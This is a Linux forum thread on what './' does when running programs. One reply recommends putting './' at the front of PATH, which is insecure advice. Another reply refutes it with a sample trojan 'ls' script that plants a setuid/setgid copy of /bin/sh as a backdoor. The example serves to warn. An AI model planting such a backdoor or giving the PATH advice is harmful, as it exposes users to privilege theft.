Please guide

Discussion of programming on Linux, including shell scripting, perl, python, c/c++, mono, java. Whatever tickles your fancy.
Post Reply
atif_majid10
Cadet
Posts: 13
Joined: Mon May 31, 2004 3:56 pm
Location: Islamabad

Please guide

Post by atif_majid10 »

Hi There
I think this is not a programming question but I could not find any suitable forum to ask in linuxpakistan.net. Here is the problem...

Sometimes we use "./" to run some binary executable file. What is the purpose of this "./".

Thanks
Atif Majid
Idleness is not doing nothing. Idleness is being free to do any thing...
farhantoqeer
Major General
Posts: 917
Joined: Thu Jun 27, 2002 5:45 pm
Location: Karachi
Contact:

Post by farhantoqeer »

./ is used to execute the binary from the present working directory.
A: Yes
Q: Is top-posting bad?
wacky
Naik
Posts: 94
Joined: Thu Jun 10, 2004 7:42 pm
Location: London, UK

Post by wacky »

Obviously you can put "./" in your PATH env variable like so:

Code: Select all

export PATH="$PATH:./"
and then you don't have to type "./" in front of your executable. The danger here is that if that executable also exists in another dir and that dir is part of $PATH, then it'll be run from that dir rather than "./".
To overcome this limitation, you can specify your PATH like so:

Code: Select all

export PATH="./:$PATH"
Now if you type an executable name, it'll look in your current working directory first and then in other dirs in the $PATH variable.

Regards
wacky
lambda
Major General
Posts: 3452
Joined: Tue May 27, 2003 7:04 pm
Location: Lahore
Contact:

Post by lambda »

don't put the dot in front of your path. ever. bad idea. don't do it. it's a security risk.

suppose you have a dot at the front of your path. you cd to /tmp and type "ls" to see what files are there. only...someone has created a shell script in /tmp called "ls". it looks like

Code: Select all

#!/bin/sh

cp /bin/sh /var/tmp/.save/$USER
chmod 6755 /var/tmp/.save/$USER
exec /bin/ls "$@"
what do you think this will do?
Post Reply